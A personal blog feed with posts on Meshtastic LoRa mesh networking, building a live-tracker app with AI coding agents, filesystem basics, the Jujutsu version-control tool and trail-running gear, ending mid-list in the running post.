Posts on Gyuri Horák

Meshtastic

Thu, 26 Mar 2026 00:00:00 +0000

Meshtastic is an open-source project that uses LoRa (Long Range radio) technology to enable the creation of autonomous mesh networks. This means Meshtastic devices can communicate with each other without needing a central server or an internet connection. This is particularly useful in places where there is no reliable mobile network or internet.

Or when those are deliberately shut down.

What is LoRa?

LoRa is a wireless communication technology that promises long range at low power consumption. Devices can communicate with each other over distances of several kilometres while using minimal energy. LoRa technology is particularly well-suited for applications where long-range communication and low power draw matter, such as agricultural sensors, urban infrastructure, or emergency communications.

It operates on freely available frequency bands (433 MHz, 868 MHz in Europe, 915 MHz in the US), so no licence is required to use it — though transmit power and communication speed may be limited by local regulations (typically well below 1W).

LoRa itself only defines the physical layer, which specifies how radio communication happens. The network layer and protocols, however, can vary depending on the use case.

LoRaWAN (LoRa Wide Area Network), for example, is primarily used in IoT (Internet of Things) applications — agriculture, industry, remote sensor readout — where a central network server manages communication between devices. Meshtastic and MeshCore, by contrast, create a peer-to-peer mesh network where devices communicate directly with each other, without needing a central server.

Power consumption obviously also depends on how the technology is used, but for example “dumb” soil moisture sensors can run for years on a single 1.5V AA battery.

Meshtastic

In Hungary, of the two more popular LoRa-based mesh networks, Meshtastic is currently more widespread — compared to MeshCore, which is a newer project with a smaller community and a more technical bent — so I wanted to try that one first.

The basics of Meshtastic

Fully decentralised
Encrypted communication
Text messages, location sharing, and other data transmission (temperature, humidity, etc.)

Devices

Meshtastic devices typically consist of a LoRa module, a microcontroller (e.g. ESP32), and a battery. Many varieties exist: there are so-called “companion” devices that connect to a smartphone via Bluetooth; some have a display, some don’t; there are “dumb” devices for GPS tracking only; and there are devices that look almost like a small phone with a keyboard, allowing you to send and receive messages on their own.

How it works

Flooding

In the network, every device (that is configured to do so) tries to forward messages to other devices until they reach their destination.

The sending device transmits the message with a hop limit set on it (maximum 7)
A receiving device gets the message, and if it is not the intended recipient, hasn’t seen that packet before (identified by packet ID, stored in a sliding window cache), and the retransmission count hasn’t yet reached the hop limit, it forwards the message to other devices

Encryption

On first use, every device generates a key pair and shares its public key with other devices (via regular “nodeinfo” broadcasts). Direct messages are encrypted by the sender using the recipient’s public key, so only the recipient can decrypt the message using their own private key. Forwarded messages are received by every device along the way, but they cannot decrypt them and therefore cannot see their contents.

Messages on shared channels are also encrypted, so the network remains secure even if someone attempts to intercept the communication. (Channels require an encryption key to join — on public channels this key is known to everyone, but messages sent to them are still encrypted; it’s just that anyone can decrypt them.)

MQTT bridge

While entirely optional, it is possible to configure an MQTT bridge that forwards messages to a central server, making them accessible through a web interface. This can be particularly useful in locations with internet connectivity where you want to monitor or control the network from a central point.

The bridge can theoretically also be used to connect two physically separate networks, though this is not a very common use case (and obviously compromises the “autonomy” aspect).

My own setup

I started with a Seeed Studio T1000E and a Heltec T114, both of which I can carry with me — both run on the nRF52840 microcontroller, which consumes significantly less power than ESP32-based variants. My original plan was to take one of them running with me, so people could track my position even in areas without mobile coverage.

In a first larger test in the Pilis hills, it performed well — position reports came through even from the Apátkúti valley. The Pilis is particularly well-covered, and at the time the Hungarian community was using the “LongFast” preset, which was better for coverage than the currently used “MediumFast” (the community switched to the latter because the network in Budapest was starting to get congested).

A preset is a predefined set of settings that determines the parameters of LoRa communication, such as speed, coding rate, bandwidth, etc. These parameters affect the range and power consumption. For example, the “LongFast” preset provides longer range at lower data transmission speed, while the “MediumFast” allows for faster data transmission at shorter range.

A more detailed explanation of the parameters can be found in the Meshtastic documentation.

At home, though, nothing showed up (Budakeszi is quite shielded, especially from the direction of Budapest and the Pilis), but I did receive messages while running in the area, so I decided to put a node on the rooftop to improve local coverage. That became a Heltec V3 (ESP32-based, powered from mains). Even that wasn’t enough — despite fitting it with a larger (4 dBi) antenna, I barely saw anything beyond the occasional stray packet (probably forwarded by someone passing through the area).

The breakthrough came last Tuesday, when an AB-IOT amplifier I ordered from AliExpress arrived — now I can both see and be seen. :) With a single node I have a stable link to one that sits on a peak in the Gerecse, about 40 km away, so the range really is something else. The connection is surprisingly stable even though the signal strength is around -100 dBm and the SNR (signal-to-noise ratio) is around -10 dB, which don’t look like impressive numbers at all. A traceroute initiated from Normafa (~2.5 km away) travelled more than 100 km before it got back home. :)

I also ran a few traceroutes toward more distant nodes and found that 38 km is far from the limit — nodes with good antennas, amplifiers, and filters can do significantly more.

A solar-powered node on the Csergezán Pál lookout tower would help a lot, but unfortunately it was closed at the end of last year, so I haven’t even started asking around about how to officially install something there.

The Hungarian community

The Hungarian mesh community, while not large, is definitely bigger than I initially expected. :) At the moment coverage is concentrated around Budapest, Northern Transdanubia, and a few larger cities, but new nodes are appearing every day, so the situation can change quickly.

Current settings can be found on the Hungarian Meshtastic community website, where there is also a map showing where nodes are located and how likely you are to be able to reach them.

Also worth checking out is the MQTT data collection site, where you can monitor network traffic and see which nodes are communicating with each other.

Since the mesh is far from complete, and because of the 7-hop limit not everyone would necessarily see every message anyway, communication also happens on Discord (yeah, I know…), where there’s always someone who can help if you get stuck with the configuration.

OK, but what is all this actually good for?

Off-grid communication in the middle of nowhere — hiking, or places with no mobile coverage (or “survival trips” where you’re not allowed to bring a phone)
Tracking cars, motorcycles, or escape-artist dogs via GPS without any subscription fees
Emergency communication during floods, earthquakes, and similar events
Building community networks in places without reliable internet
Experimentation, learning, and getting to know the technology
But seriously — an off-grid, autonomous, encrypted communication channel that’s difficult to even detect due to its low transmit power, if you don’t know exactly what to look for… in a word: for preppers :)

Original post in hungarian: here, english translation mostly done by Claude.

Garmin report - 2025

Wed, 31 Dec 2025 00:00:00 +0000

HTML report

Agentic Coding - AI, as a software developer

Tue, 26 Aug 2025 00:00:00 +0000

AI (more precisely LLMs) have been developing very rapidly lately, and it is hard to avoid them in everyday life - they have been integrated into Google search, our email, browser, mobile phone, social media, and they come across whether we like it or not. For some time now, it has also been said that they will replace programmers, and the term vibe coding has also appeared, which refers to developers only providing the vibe, and the AI writing the code.

I have been using it since the beginning (when I got the beta Copilot, quite early on), mainly as a smarter code completion tool, and recently I have occasionally asked it about topics that I rarely need to deal with and do not remember the details exactly, but I have never generated complete programs or larger code snippets with it. Until around the beginning of this year, I considered vibe coding mainly as a game, and most of the stories I came across on social media were more funny or interesting than serious - for example, someone created a complete service with AI assistance without any programming knowledge, just by “vibing”, and is already making money with it, then a few days later reported that their service was hacked and they had no idea what to do since they had clients, where could they get help, …

Then around the beginning of this year, some professionals whose opinions I value (e.g. Armin Ronacher) also spoke positively about the topic, and credible stories also appeared on Reddit, so at the end of spring I decided to embark on an experiment and vibe code a simpler web application. I leave everything possible to AI agents, and only touch the code if absolutely necessary.

TL;DR: I was skeptical at first, but now I have a new friend, Claude, who develops my live-tracker project in the evenings while we tinker in the garden or during long boring meetings.

The project

I wanted to create a meaningful project, not just another TODO app, and since I often run in the wilderness, sometimes alone for longer distances, I like it when my friends know where I am. Until now, I have been sending Garmin livetrack links, but that is a bit cumbersome, and as soon as the run is over, it is no longer available, so I thought it would be nice to have a live-tracker like this that could be expanded later, e.g. with team tracking - this could be useful for those who want to follow the whole team during long relays (e.g. UB).

The MVP was to be a simple single-user website that could track me, but we went much further than that:

multiple users (but no registration), profile editing
real-time location sharing
naming of livetrack sessions, ability to review them later
map display of users’ last public locations on the main page
mobile-friendly interface
dark mode

To be able to track my location, I supplemented one of my Garmin datafields with such a capability. I tried to get AI help for this as well, but at that time I was only using Gemini, which did not handle the - otherwise indeed exotic and rarely used - Garmin Monkey-C language well, so I wrote it myself. With the experience gained since then, I will try again, as I will need a more general version anyway.

(available here, but still quite experimental and only works on more expensive watches)

The tech stack

According to the conversations I read on the social media sites, it’s better to choose a simpler (more beginner-friendly) language and start with as few external dependencies as possible. Python, plain JavaScript were good choices, or even Go as it is relatively simple but still properly typed, so I chose it for the backend. Also, I did not want to start from scratch, so I chose PocketBase for the backend, which is a simple backend solution that also offers a REST API and has a pretty good admin interface.

For the frontend, I chose plain HTML/CSS/JS (with web components), and although TypeScript would be the obvious choice if I were writing the code myself, I read that complex types can confuse AIs, so at the beginning I stuck with plain JavaScript, which also allowed me to get started without any build system.

Backend: PocketBase (Go)

Frontend: HTML/CSS/JS (web components)

Agentic coding experiment

On the command line: since I have been using the terminal for everything for 25+ years, it was natural to choose a terminal-based solution - despite having a Github Copilot subscription for years, it only has IDE integrations currently. When I started thinking about the experiment, everyone was migrating from Cursor to Claude, and I was about to subscribe to the Pro version, which offers Claude Code terminal agent, when Google made the Gemini CLI agent freely available, so I started using that instead.

First experiences

On June 25, Gemini CLI was announced, and by the evening, the MVP was ready.

Okay, the task was not super complicated, but I had almost no experience in using AI agents in this way, and what it produced was quite acceptable, especially for a tech demo.

✅ quick demos for proof-of-concept purposes

Let’s move on

The goal was to push the boundaries of technology, so I could not stop here, the next step was to support multiple users.

And the first problem. The plan was apparently very cleverly created by Gemini, but during implementation, problems arose. PocketBase is not a very widely used solution (though it has over 50k stars on GitHub), so the model was probably trained on few related example codes, and despite reading the documentation, it started hallucinating non-existent methods, and when it deleted them and added them back again, it got into a loop, so I had to help it. I was still too enthusiastic at that point, so I just wrote the two problematic lines myself and we moved on, but that was the first and last time I touched the code.

❌ with less known technologies, the model may hallucinate and get into loops

During the Garmin datafield extension it started to write Java-like code, which did not work there, so I did not insist on it, and wrote it myself instead.

Docker

Everything else on my NAS runs in Docker, so the next step was to dockerize it.

And here another advantage of AI agents was revealed: I write a Dockerfile from scratch about once every six months, and I always forget the syntax, so I usually start by searching and reading documentation. This time I skipped that, Gemini wrote the Dockerfile for me in half a second, built it, tested it, asked me to log in (docker login), and uploaded it to DockerHub.

✅ quickly helps with rarely used but otherwise simple, well-documented tasks

GPX upload mini tool

To test the functionality, I needed a way to upload larger routes, so I created a small tool called gpxup that uploads a GPX file via the API.

✅ quickly creates small tools and scripts

Claude

Since I read everywhere that you can try and prompt other agents however you want, they won’t achieve the results of Claude, I decided to invest in a Pro subscription and try it out.

It is recommended everywhere that although the annual subscription is cheaper, things are changing so fast that you should rather take a monthly subscription, and if necessary, you can cancel and switch to the current best solution at any time.

I have to say that in my workflow, Claude is in a completely different league than anything else I have tried so far (up to the writing of this blog post). Currently, if you want to use AI for programming, it is Claude Code. (The Pro subscription only includes the Sonnet-4 model, not the more advanced Opus, but even so, I felt a big difference compared to other solutions.)

All the features have been unleashed: login, profile page, session page, dark mode, …

MCP servers

MCP (Model Context Protocol) is a new standard that allows AI models to use external services (databases, programs, …). It is quite simple (maybe too simple, time will tell), and almost everything supports it. For example, with its help, agents can use a real browser and can check and debug the web pages they create. ( playwright-mcp )

When Claude placed the user avatar at the end of the route, I did not like the shape of the marker - despite telling it that I wanted an upside-down teardrop shape, it used some lame oval (although drops do look more like that when falling, but whatever). I was about to touch the code myself when I remembered that I could try Playwright MCP, and with its help, we managed to get past the problem without human intervention.

Rough refactor

At this point, I had a usable web application whose backend was essentially a single main.go, and the frontend consisted of a few HTML and JS files. In the long run, this is not maintainable - especially if I have to touch it later myself - so I decided to ask Claude to refactor the code.

Since I suspected that this would be a big chunk, I first had Claude (sonnet-4) create a detailed plan, which I reviewed with Gemini (2.5-pro) and Copilot (GPT-5) - who also added some comments - then the plan was broken down into smaller tasks by Claude, and I asked him to start it so that it would stop after each major step and wait for me to review what it had done. This method worked very well, it updated the plan documents (backend plan, frontend plan) after each step to clearly see where we were, so we could always continue where we left off the next day - or when I ran out of the 5-hour limit.

The backend refactor took 3 days, the frontend 2 days (not full days, 3-4 hours of active work per day), I reviewed everything it did after each step, asked for modifications where needed, ran tests with it, and only moved on when everything was fine.

The two PRs became huge, but the more enthusiastic can review them if they want:

backend refactor PR ~15k+ lines
frontend refactor PR ~28k+ lines

(The backend PR failed because gitguardian found the test account password created for Claude among the commits. :D This only works in my development environment, so I did not start messing with the git history.)

✅ serious refactoring with strict supervision and testing

For now, the project is at this point, I thought I would write this blog post and take a little break, then see where to go next. Soon it may reach a size that Claude can hardly handle with its 200k token limit, but there is no sign of that yet.

vibe tracker on github

Tools, models

As I wrote above, which model or tool is the best depends on how you use it, what task you want to solve, and by the time I post this article, probably 10 new ones will have come out.

Models

New ones appear daily, their capabilities/prices/availability are quite varied, you can browse here.

Some can only be used through their own interface, some you can run yourself (if you have the right hardware). Moreover, they can be evaluated based on many aspects, e.g. how good they are at making plans, how well they generate code, whether they can use tools (testing, debugging), how well they follow what you say, how well they can handle longer contexts, and of course how much they cost. A model that is good in one aspect may fail in another, it really depends on what and how you use it.

My experiences:

Gemini 2.5 pro and flash (Google)

I used it for free through Gemini CLI, the pro daily limit runs out after a while, but it automatically switches to flash. Perfect for getting to know it, not bad for simpler programming tasks, but I managed to get it into a loop and it also hallucinated. The CLI version has the advantage that if I see it is going astray, I can quickly stop it and steer it back on track.

GPT-4.1 and GPT-5 (OpenAI)

I tried them through Github Copilot (the GPT-5 is quite recent, it appeared during the project), and I used them in the terminal with the help of opencode. It may be familiar to many from the ChatGPT interface, but I have mixed experiences with them, especially the GPT-5 tended to wander off and do things that no one asked for. This was less noticeable with GPT-4.1, but I did not try too much with either, because Claude seemed much better.

Claude Sonnet-4 (Anthropic)

The best I have tried, my experiences can be read above. It performed very well in planning, coding, and refactoring, and if it encountered something it could not solve on the spot - or felt that it would require more effort than I expected based on my request - it indicated this and suggested alternative solutions. I did not experience this with other models.

During the refactor, I ran out of Claude’s limit at one point, and I thought I would have the new GPT-5 write unit tests for the completed part. I almost succeeded, but to properly test two functions, PocketBase would have been needed, mocking the whole thing would have been pointless, so it solved it by deleting things from the implementation and keeping only the testable parts. :D

Claude, on the other hand, simply stated that it would not write unit tests for those two functions, but that it would be worth writing integration tests for them later.

Agents

There are also many types of agents, everyone knows the websites where you can chat with LLMs, but there are also solutions specifically designed for programming:

command-line (CLI/TUI) tools
- those provided by the model vendors themselves (Gemini CLI, Claude code, OpenAI codex, …)
- independent but resellers (Cursor cli)
- completely independent (opencode, crush, …)
IDE extensions (Github Copilot, Amazon CodeWhisperer, Tabnine, …)
complete IDEs (Cursor, Replit, …)
Copilot on Github (generating PRs, code review, handling issues, …)
…

My workflow

First of all, before doing anything, I create a git/jj repo, and after every step, I commit and push. Agents can also use git, but with a simple move they can destroy the entire repository, and if they also have push rights, a small mistake can lead to everything being lost.

Most tools allow you to configure separate programming and planning agents (and usually they are there by default, and you can create others as well), these agents can even use different models - e.g. in the Claude Max subscription, the planning agent uses the Opus model, while the programming agent uses Sonnet-4, supposedly this is the most efficient way to work.

I usually start in plan mode, and try to formulate the request as if I were explaining a ticket at work, so that any colleague could start working on it without any questions. I ask the agent to create a detailed plan of how it would solve the problem. If I deem it necessary, I further refine (or have it refined) the plan, and only start the implementation phase when I myself understand what it will do.

I do not trust it enough yet (?) to accept what it does without review, so I review everything it does after each major step, ask for modifications where needed, run tests with it, and only move on when everything is fine.

Summary

I was skeptical when I started the experiment, but I was positively surprised.

LLM-based AIs will not become AGI, and they may soon reach the limits of the technology, but their current capabilities are good enough to make programmers more efficient and help them progress faster in their work. Part of coding (e.g. boilerplate code, simpler functions) can be completely automated, and developers can focus more on planning and solving more complex problems, in which a smarter agent can also provide assistance.

Will they take away programmers’ jobs? I don’t think so, because software development is a complex task where coding is only part of the work. Supervision is needed alongside them, and we do not yet know their real costs, we are probably only in the investment phase, and every AI company is unprofitable.

Can they replace a junior programmer? In the given moment, yes, but as long as a junior has the potential to become senior, an AI agent will never be smarter than what it is trained to be, and it will not be able to develop or gain experience.

Can they replace a programmer who implements the issued tickets almost without thinking (and without asking questions)? Yes, but I don’t think they add much value anyway. Then of course they will also find (or have already found) their place, and they will eagerly copy the ticket text into the ChatGPT browser window and copy back the generated code without having any idea what they are writing. Unfortunately, I see this happening daily.

One thing is certain, LLMs can be great tools in the hands of software developers, and even if they do not develop further in this direction, they will remain. What I expect are smaller, more specialized models that we can even run locally (on our own computer, even on our phone). I am curious where we will be a year from now.

Short introduction to filesystems

Mon, 21 Oct 2024 00:00:00 +0000

In an operating system, the filesystems are responsible for organizing and storing files and directories. They provide a way to access and manage the data stored on the storage devices. Such storage devices can be hard drives, SSDs, USB drives, magnetic tapes, optical discs, RAM disks, etc. They can be shared over the network and they can be even virtual (like procfs or sysfs).

Etymology

Before the age of computers, filing systems were used to store and organize paper documents. The concept of filesystems in computing is similar to the concept of filing systems in the real world. The words folder and directory came from there, too.

Filename

A filename identifies a file. It is a string of characters for us, humans to refer the given file more easily. It might contain letters, numbers, and special characters, have a maximum length, is case-sensitive or not, etc.

File extension

In some filesystems, the filename can have an extension. This is a string of characters after the last dot in the filename. It can be used to identify the file type, but it is not mandatory, and it can also be misleading. Do not rely on the file extension to determine the file type!

In Unix-like systems, you can use the file command to determine the file type based on the file content.

File metadata

File systems store additional information about files, called metadata.

Some examples:

file size: the size of the file in bytes or in blocks
when the file was created, last accessed, and last modified
ownership information: the user and group
permissions: who can read, write, and execute the file
file attributes: special flags like executable, read-only, hidden, system, etc.
device type: in Unix-like systems, everything is a file, including devices. The file system stores information about the device type (block device, character device, etc.)

Metadata is stored separately from the file content, for example in directory entries or in inodes.

Storage space organization

A local filesystem is typically organized into blocks, and a block is the smallest unit of storage that can be allocated. The file system allocates blocks to store the file content, so even if you strore only 1 byte in a file, the file system will allocate at least one block (or more) to store it.

Block size can vary between filesystems, but it is usually a power of 2, like 512 bytes, 1 KB, 4 KB, 8 KB, … and some filesystems allow you to specify the block size when creating them. Choosing a large block size can result in less fragmentation and better performance, but it can also waste space for small files, while a small block size can result in more fragmentation and less performance, but it can be more efficient for small files.

Fragmentation

When a file is stored in non-contiguous blocks, it is fragmented. This can happen when the filesystem cannot find a contiguous block to store the file, so it splits the file into multiple blocks. Fragmentation can slow down the file access time - for example for classic HDDs, the disk head has to move to different locations to read the file. SSDs are less affected by fragmentation, but it can still have an impact on performance.

Access control

Many filesystems support access control to restrict access to files and directories. There are many ways to control access, from the classical read-only flag, through permission bits (like in Unix-like systems), to more advanced ACLs (Access Control Lists) and capabilities.

Quotas

Filesystems can also support quotas to limit the amount of space a user or a group can use. This can be useful in multi-user systems to prevent a single user from filling up the disk.

Data integrity

Most filesystems provide some kind of data integrity mechanism to ensure that the data stored on the disk is not corrupted. This can be done by using checksums, journaling, copy-on-write, etc.

Filesystem types

Disk-based filesystems: store data on hard drives, SSDs, USB drives, etc. (like ext4, NTFS, FAT32)
Network filesystems: allow accessing files over the network (like NFS, SMB)
Optical disk filesystems: used on CDs, DVDs, Blu-rays, etc. (like ISO 9660, UDF)
Flash filesystems: used on flash memory devices (like JFFS2, UBIFS)
Tape filesystems: used on magnetic tapes (like LTFS)
Database filesystems: store data in a database-like format (DB2)
Virtual filesystems: provide an interface to kernel data structures (like procfs, sysfs, devfs)

Example 1: ext2/ext3/ext4

The ext filesystem family is one of the most popular filesystems in the Linux world. The first ext filesystem was ext (short for extended filesystem, since it was an extension of the original minix filesystem), developed in 1992, but it was quickly replaced by ext2 in 1993. And ext2 is basically still useable since ext3 and ext4 are backward compatible with it.

The main addition of ext3 over ext2 was journaling, which helps to recover the filesystem after a crash. ext4 added many new features like extents, delayed allocation, and faster fsck, but those are basically transparent to the user, mostly performance and reliability improvements. The basics of the ext* filesystem family are the same for more than 30 years.

Ext2 structure

Data is stored in blocks (usually 4 KB) and the filesystem is divided into block groups.

┌──────┬─────────┬─────────┬───...─┬─────────┐
│Boot  │ Block   │ Block   │       │ Block   │
│block │ group 0 │ group 1 │       │ group n │
└──────┴─────────┴─────────┴──...──┴─────────┘

Each block group contains:

a superblock: metadata about the filesystem
a block group descriptor table: metadata about the block group
a block bitmap: to track free and used blocks
an inode bitmap: to track free and used inodes
an inode table: to store metadata about files and directories
data blocks: to store file content

┌───────┬─────────────┬────────┬────────┬───────┐
│Super- │ Group       │ Block  │ Inode  │ Inode │
│ block │ descriptors │ bitmap │ bitmap │ table │
└───────┴─────────────┴────────┴────────┴───────┘

Inodes store metadata about files and directories, like file size, timestamps, ownership, permissions, etc.

Inodes are numbered, and each inode has a unique number within the filesystem. The inode number is used to reference the inode from the directory entry. There are 15 direct block pointers in the inode, which can point to data blocks. If the file is larger than 12 blocks, the (13.) indirect block pointer is used to point to a block that contains pointers to data blocks. If the file is larger than 12 + 256 blocks, the (14.) double indirect block pointer is used, and if it’s even larger, the (15.) triple indirect block is used, too.

Directories are special files that contain a list of directory entries. Each directory entry contains the filename and the inode number of the file or directory.

Hard links are created by adding multiple directory entries pointing to the same inode. (While soft links are created by adding a special file that contains only the path to the target file.)

Removing (rm) a file only removes the directory entry, but the file content is not removed until the last directory entry is removed. When no directory entry points to an inode, the inode is marked as free and can be reused. The system call for removing a directory entry is unlink() - since it’s basically the opposite of creating a link.

Example 2: ZFS

(I could have BTRFS here, but ZFS is much older, and has more features.)

ZFS (short for Zettabyte File System) is a modern filesystem developed by Sun Microsystems in 2005. It is designed to be robust, scalable, and easy to manage. ZFS has many advanced features like copy-on-write, snapshots, checksums, compression, deduplication, RAID-Z, etc. Then Oracle bought Sun and not much happened with it in the last ~15 years. It’s still a great filesystem, but it’s not as popular as it could be - due to the licensing issues, the CDDL license is not compatible with GPL, so it cannot be (properly) included in a Linux distribution.

ZFS features

Copy-on-write: When a block is modified, it is not overwritten in place, but a new block is written with the modified data.
Checksums: ZFS uses checksums to detect data corruption.
Self-healing: ZFS can detect and repair data corruption using checksums and redundant data.
Snapshots: ZFS can create read-only snapshots of the filesystem at any point in time.
Compression: ZFS can compress data on the fly to save space.
Deduplication: ZFS can deduplicate identical blocks to save space.
ZPools: ZFS uses zpools to manage storage devices. A zpool can consist of one or more storage devices, like hard drives, SSDs, or even files.
RAID: ZFS has built-in support for software RAID with different levels of redundancy (mirroring, RAID-5 like RAID-Z).
Encryption: ZFS supports encryption of data at filesystem level.
SLOG and L2ARC: ZFS has special devices for ZIL (ZFS Intent Log) and L2ARC (Level 2 Adaptive Replacement Cache) to improve performance. (Hybrid storage pools)

Jujutsu VCS - short introduction

Tue, 16 Apr 2024 00:00:00 +0000

Jujutsu (jj) is a VCS unlike most other, its user interface is separated from it storage system(s). This allows it to serve as a VCS with many possible physical backends, that may have different data/networking models.

Currently it uses git by default as storage layer, making it compatible with all the existing git ecosystem.

Martin started it as a hobby project in 2019, and now it’s his full-time project at Google.

Design

Jujutsu combine concepts from other VCS-es into a single tool. For example:

Git: fast/efficient algorithms, data structures
Mercurial and Sapling: the revset language, no index or staging area, anonymous branches, output formatting with a robust template language
Darcs: conflicts are first-class objects, can be commited and resolved later or by somebody else

But it also has some new features:

Working-copy-as-a-commit: changes to files are automatically recorded as commits and amended on every subsequent change (simplifies algorithms, make index/stanging-area obsolete)
Operation log, undo: every operation is logged into the repository itself, so debugging “what has happened here?” like problems is pretty easy. Also there’s an undo command that utilizes this oplog.
Automatic rebase and conflict resolution: when you modify (an older) commit, every descendant is automatically rebased on top of the new version - without branching and whatever. If there’s a conflict anywhere in the branch, you can resolve it any time, due to this propagation, the resolution will be available for the descendants as well.

The `jj` command

The command-line tool is called jj (for now, it might be changed later) because it’s easy to type, and since the letter “j” is rare in English, it’s easy to search for. (The project is called Jujutsu because it matches jj.)

The goal was to create a user friendly interface to the VCS - this definitely wasn’t the goal for git, most developers use external tools or IDE plugins to use it. Since you can use jj to manage existing git repos, it can be used as one of those tools - but it’s already much more than just a git frontend. I’m using it almost exclusively for my daily work (on existing git repos) for about 3 months, and I didn’t have to use the git command on the given repos in the meantime.

Git doesn’t became “popular” because it’s good or user friendly, it became popular due to GitHub. Now that we can use GitHub with jj, we might get rid of git ;)

Basic workflow (that I use)

# create a new 'change' (basically ticket=change)
$ jj new [parent]
$ jj describe -m "TICK-90: whatever new feature"
# or `jj new -m "..."`
# since I need to push to GitHub, I need named branches
$ jj branch create TICK-90_whatever
# and I might need to update my change with the changes from upstream
$ jj git fetch --branch develop
$ jj rebase -d develop
# and push it back to github
$ jj git push [branch]

Nice log

… and much more …

If you are interested, you can check the following resources:

Jujutsu github repo
jj init by Chris Krycho
- (long, but he made a video as well)
Jujutsu Tutorial by Steve Klabnik

About running

Thu, 11 Jan 2024 00:00:00 +0000

I hated running all my life. Then fate intervened, and since I didn’t have much opportunity for other forms of exercise, I started running in the forest during chemo - got that biweekly - first week was about survival, on the resting weeks I ran two-three times, 3-4kms. Then the habbit stayed - I loved the forest before, and I thought that if I could go out during chemo, then rain/mud/cold wouldn’t be able to hold me back. And indeed it can’t. The next year I kept the same pace - two small circles a week -, but then covid hit, we went home office, and I started increasing the distances and pace.

It’s interesting to look back and see that in the beginning I ran my 3-4 km tracks at the same pace as the 50+ km Vérmókus I ran recently.

Running

I run mostly in the forest (trail running), and what I write here is mostly my own experience, if a coach says something else, then they’re probably right 😉

What do you need to start

You

Even if your joints/muscles are in a good shape - if something is already broken, running can make it even worse - youd better start carefully.

At the beginning you’ll probably concentrate on survival - start with walking/slow jogging if you’ve never done any sports -, but as you progress, you’ll have to start paying attention to your breathing, running technique - practice different ones, so you can switch if your legs get tired -, and your body in general.

A pair of shoes

This is something you should pay attention to from the beginning, there can be a huge difference between two pairs of shoes called running shoes. When buying your first pair, it’s worth going to a running store, where they can give you advice, and measure your pronation.

Things to consider:

terrain / asphalt?
foot pronation? (pronator/normal/supinator)
- this can be measured in running stores with a camera, it’s worth it!
- (I have a strong flat foot, so my foot pronates a lot)
how waterproof/breathable they are?
what’s the shape of your foot (e.g. Asics are perfect for my feet, but I can’t even put on Salomon shoes, it’s worth trying on several products of different brands)

At the beginning, I suggest to get a pair of asphalt shoes that are comfortable (and made for you pronation).

Extras

Clothes

I don’t mean that clothing is an extra, because you can run naked (you definitely can, but please don’t), but because almost anything is good enough.

However, besides “anything is good”, it’s better to run in something that you don’t sweat into too much, breathes well, and you don’t get cold in. You can spend an infinite amount of money on sportswear, but - especially at the beginning - the store brands of sports stores can be quite good, and much cheaper than the similar stuff of the top brands. You will be able to tell - over time - what you should wear in the given weather, but it’s a good start to dress for ~10 degrees warmer weather.

Flask

On longer distances, especially in the summer, it’s essential to drink while running. It’s worth getting a well-storable (foldable or crushable/silicone) cup, from which you can drink more easily than hanging on the fountain, pressing the lever with your leg, etc. Nowadays most running events don’t provide cups at the refreshment points, you can get drinks in your own cup.

If there’s no fountain on the route, you have to take the liquid with you. A completely valid solution is an emptied half-liter soda bottle, but silicone flasks are not that expensive either - I like them because shaking them isn’t noisy -, and drinking bags are also available for backpacks.

Tracking/navigation

If you run you must have a strava account. Of course, it’s not a must, but what’s not on the internet never happened, and currently strava is the instagram of runners/cyclists. There are communities, you can tag friends, and steal routes, where it’s worth running.

Strava’s mobile app is also capable of tracking your run, but there are thousands of others, and if you have a smart/sports watch, it can probably track your run better than your mobile. Nevertheless, it’s always worth taking a phone with you - or anything you can contact the left behind with -, anything can happen at any time, not least it’s easier to find you in the forest if you get lost.

If you venture further into the wilderness, it’s also useful to have some offline usable map with you. There are places where there’s no mobile signal, and anyway, Google maps and friends are completely useless outside of civilized areas. There are many free OpenStreetMap-based maps available for both Android and iOS, which you can use for free, it’s worth getting one, and if you use it a lot, buy it. Some of them (e.g. mapy.cz) also show hiking trails.

Then, if you really navigate a lot on unknown terrain, and you don’t want to run with your phone in your hand, offline navigation-capable watches may be an option for you - but these are typically very expensive.

Health tracking

Now that we’re talking about smart watches/bracelets, most of these are capable of measuring your pulse while running. These data are far from being diagnostic, and it’s not worth comparing them with other people’s measurements, but they can give you an idea of how well you can perform on a given day, and also warn you to take a bit back if you want to reach the end of the track.

It’s worth noting that optical pulse measurement will never be perfect, it varies from person to person how accurate even the most modern watches can be, so if you want more reliable data, you’d better get a chest strap pulse meter, which is much more accurate.

In addition, many interesting (useful?) things can be extracted from some hours, e.g.:

cadence
stride length
estimated power
vertical oscillation
ground contact time (in some cases compared to the other leg, how symmetrically you use them)
…

In addition, if you wear the watch continuously, they can assess the quality of your sleep, tell you how much you should rest after a given run, and even suggest a training plan.

Belt, backpack

It’s also a personal preference question whether you like to run with a belt or a backpack, but after a while things won’t fit in your hand, and you’ll run out of pockets on your clothes. It’s worth trying these too if you have the opportunity, and here too, the branded sportswear versions are not to be discarded.

Headlight

If you run at night, it’s definitely recommended, especially in the forest. If you go on a longer trip, it’s worth having it in your backpack, so you don’t have to worry if it gets dark, you might even have something to lend to the lost hikers who didn’t bring one.

Snow chains

We don’t stay at home even if it snows. As long as it’s fresh, there’s no big problem, but when it’s already trampled hard, or melted/refrozen, there’s no shoe that won’t slip on it. This is where the snow chain comes in handy.

Running poles

Even here in Hungary, there are places where it makes it easier to move, but you have to learn to use it, at the beginning it’s more of a hindrance than a help.

“Life-saving” foil

Jó, ez az elején remélhetőleg nem kell, de több versenyen is kötelező tartozék, és inkább legyen a táskában feleslegesen, mint ne legyen ott, de te átazva kuporogj valami üregben törött bokával fagypont körül.

Ok, you probably won’t need this at the beginning, but it’s a mandatory accessory for many races, and it’s better to have it in your backpack unnecessarily than not to have it while squatting in a hole with a broken ankle soaked through and near freezing.

Band-aid

Completely unnecessary. If you run in the forest, you will fall, period. If the wound is small enough for the band-aid, you won’t mess with it. If needs some sewing, or half of your skin has come off of your side, then it doesn’t help. Of course, I have it in my backpack too, but I’ve never used it.

Sword, gun, and other weapons

Boars don’t hurt you, if they sense you, they run away. Or run towards you. If they run towards you, then it doesn’t matter what you have with you, you have to get out of their way. Dogs raised by stupid/careless owners are much more dangerous than wild animals, as are people in general - if you really feel like it, you can carry a pepper spray with you.

Refreshment

This is a pretty complex topic, it’s kind of personal, what you bear/like/need, and there’s a scientific background to it, which is worth looking into over time. I’ll write down what I usually do.

Short - < 10 km/1 hour

Nothing much is needed, maybe a little water in the summer.

Medium - up to half marathon

2 dl of iso every half hour, 1 chocolate muesli bar every hour, salt tablets in the summer.

Long - well over half marathon

